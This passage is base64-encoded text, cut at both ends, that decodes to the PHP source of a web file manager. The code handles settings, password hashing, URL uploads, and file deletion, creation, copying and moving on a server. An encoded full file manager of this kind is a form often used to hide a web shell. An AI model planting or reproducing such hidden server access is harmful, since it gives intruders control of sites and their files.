VxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJzZXR0aW5nc1wiKSB7XG4gICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lO1xuICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddO1xuICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTtcbiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7XG4gICAgICAgICAgICAkbmV3TG5nID0gJ2VuJztcbiAgICAgICAgfVxuXG4gICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gXCJ0cnVlXCIgPyB0cnVlIDogZmFsc2U7XG4gICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107XG5cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nO1xuICAgICAgICAgICAgJGxhbmcgPSAkbmV3TG5nO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA9ICRlcnA7XG4gICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7XG4gICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHtcbiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmO1xuICAgICAgICAgICAgJHNob3dfaGlkZGVuX2ZpbGVzID0gJHNoZjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gPSAkaGNvO1xuICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3RoZW1lJ10gIT0gJHRlMykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7XG4gICAgICAgICAgICAkdGhlbWUgPSAkdGUzO1xuICAgICAgICB9XG4gICAgICAgICRjZmctPnNhdmUoKTtcbiAgICAgICAgZWNobyB0cnVlO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJwd2RoYXNoXCIpIHtcbiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJztcbiAgICAgICAgZWNobyAkcmVzO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJ1cGxvYWRcIiAmJiAhZW1wdHkoJF9SRVFVRVNUW1widXBsb2FkdXJsXCJdKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG5cbiAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2soJG1lc3NhZ2UpXG4gICAgICAgIHtcbiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7XG4gICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGgoKVxuICAgICAgICB7XG4gICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTtcbiAgICAgICAgICAgIHJldHVybiAkcGF0aCAuIFwiXC9cIiAuIGJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgJiYgcHJlZ19tYXRjaChcInxeaHR0cChzKT86XC9cLy4rJHxcIiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgOiBudWxsO1xuXG4gICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTtcbiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTtcbiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07XG5cbiAgICAgICAgaWYgKHByZWdfbWF0Y2goXCJcL15sb2NhbGhvc3QkfF4xMjcoPzpcXC5bMC05XSspezAsMn1cXC5bMC05XSskfF4oPzowKlxcOikqPzo/MCoxJFwvaVwiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJVUkwgaXMgbm90IGFsbG93ZWRcIik7XG4gICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheShcImZhaWxcIiA9PiAkZXJyKSk7XG4gICAgICAgICAgICBleGl0KCk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTtcbiAgICAgICAgJHRlbXBfZmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBcInVwbG9hZC1cIik7XG4gICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpO1xuICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksIFwiLlxceDAwLi5cXHgyMFwiKTtcblxuICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlO1xuICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlO1xuXG4gICAgICAgICRlcnIgPSBmYWxzZTtcblxuICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZFwiKTtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZmFpbFwiID0+ICRlcnIpKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghJHVybCkge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHtcbiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCBcIndcIik7XG4gICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpO1xuICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlKTtcbiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7XG4gICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTtcbiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpO1xuICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO1xuICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykge1xuICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheShcIm1lc3NhZ2VcIiA9PiBjdXJsX2Vycm9yKCRjaCkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTtcbiAgICAgICAgICAgIGZjbG9zZSgkZnApO1xuICAgICAgICAgICAgJGZpbGVpbmZvLT5zaXplID0gJGN1cmxfaW5mb1tcInNpemVfZG93bmxvYWRcIl07XG4gICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvW1wiY29udGVudF90eXBlXCJdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpO1xuICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTtcbiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkc3VjY2Vzcykge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZG9uZVwiID0+ICRmaWxlaW5mbykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpO1xuICAgICAgICAgICAgaWYgKCEkZXJyKSB7XG4gICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KFwibWVzc2FnZVwiID0+IFwiSW52YWxpZCB1cmwgcGFyYW1ldGVyXCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoXCJmYWlsXCIgPT4gJGVycikpO1xuICAgICAgICB9XG4gICAgfVxuICAgIGV4aXQoKTtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkZGVsID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7XG4gICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICAgICAgfVxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xuICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICdcLycgLiAkZGVsKSkge1xuICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgICR0eXBlID0gdXJsZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTtcbiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7XG4gICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdHlwZSA9PSBcImZpbGVcIikge1xuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICdcLycgLiAkbmV3KSkge1xuICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHtcbiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJ1wvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpO1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkY29weSA9IHVybGRlY29kZSgkX0dFVFsnY29weSddKTtcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xuICAgIGlmICgkY29weSA9PSAnJykge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcbiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG4gICAgJGRlc3QgLj0gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKTtcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xuICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTtcbiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHtcbiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJ1wvJyk7XG4gICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xuICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycpLCAnYWxlcnQnKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBpZiAoISRtb3ZlKSB7XG4gICAgICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcbiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTtcbiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7XG4gICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHtcbiAgICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJyAuICRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10gLiAnXC8nIC4gJGZuX3BhcnRzWydmaWxlbmFtZSddIC4gJy0nIC4gZGF0ZSgnWW1kSGlzJykgLiAkZXh0ZW5zaW9uX3N1ZmZpeDtcbiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDtcbiAgICAgICAgICAgICRtYXhfbG9vcCA9IDEwMDA7XG4gICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkge1xuICAgICAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmbl9kdXBsaWNhdGUpO1xuICAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICdcLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7XG4gICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8XC9iPiB0byA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBUb2tlbi4nKSwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cbiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XG4gICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7XG4gICAgICAgICRjb3B5X3RvX3BhdGggLj0gJ1wvJyAuICRjb3B5X3RvO1xuICAgIH1cbiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkge1xuICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgfVxuICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pO1xuICAgICRlcnJvcnMgPSAwO1xuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcbiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7XG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJ1wvJyAuICRmO1xuICAgICAgICAgICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkcmVuY